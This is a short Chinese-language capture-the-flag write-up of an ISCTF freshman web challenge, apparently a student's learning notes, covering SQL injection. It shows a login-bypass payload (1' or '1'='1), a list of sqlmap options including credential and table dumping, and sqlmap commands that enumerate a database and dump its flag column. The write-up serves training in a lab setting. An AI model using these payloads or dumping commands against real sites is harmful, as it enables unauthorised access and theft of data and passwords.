ISCTF新生赛 Web easy_sql题解(sqlmap的基操)
本人小白入门,不到之处请大侠指点!!!
先观察题目的提示,(由于是新生赛,所以提示比较明显)显然是需要我们用SQLMAP进行操作。
不妨输入 用户名 1 密码 1' or '1'='1 来进行简单的测试,果然登陆上了。但是返回的是“登陆成功”并没有返回数据库中的内容,于是也可以尝试尝试sql盲注的思路。
一、sqlmap解法
sqlmap的基本命令:Kali Linux 漏洞利用工具集 sqlmap 教程 - 付杰博客
某大神的sqlmap学习笔记:Kali Linux学习笔记—SQLMAP 自动注入_江河湖海:D的博客-CSDN博客
这里列举几个常用的操作命令:
-dbs 获取所有数据库
--current-db 当前使用的数据库
--users 所有用户
--current-user 数据库使用账户
--is-dba 当前用户权限(是否为root权限)
--passwords 数据库账户与密码
-D 数据库名 --tables 查看指定数据库的所有表
-D 数据库名 -T 表名 --columns 查看指定数据库指定表的所有字段
-D 数据库名 -T 表名 -C 字段名 -dump 查看指定字段所有的值
--random-agent 构造随机user-agent
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
下面来写写这个题目,用sqlmap的解决方案(sqlmap的最最最最基础的操作)
首先看看存不存在注入点
sqlmap -u "http://xxxx" -dbs
再看看,所连接的数据库有哪些
进入users数据库,看看有哪些表
sqlmap -u "http://xxxx" -D users --tables
发现了flag表单,说明思路是正确的,继续访问
sqlmap -u "http://xxxx" -D users -T flag --columns
找到了flag字段,继续看看字段有哪些值
sqlmap -u "http://xxxx" -D users -T flag -C flag --dump
最后找到了flag!!!
注:学长大佬说,本题也可以用SQL盲注的思路来解决,但是本人水平有限,还没有用这种方法解出来,日后慢慢研究!!!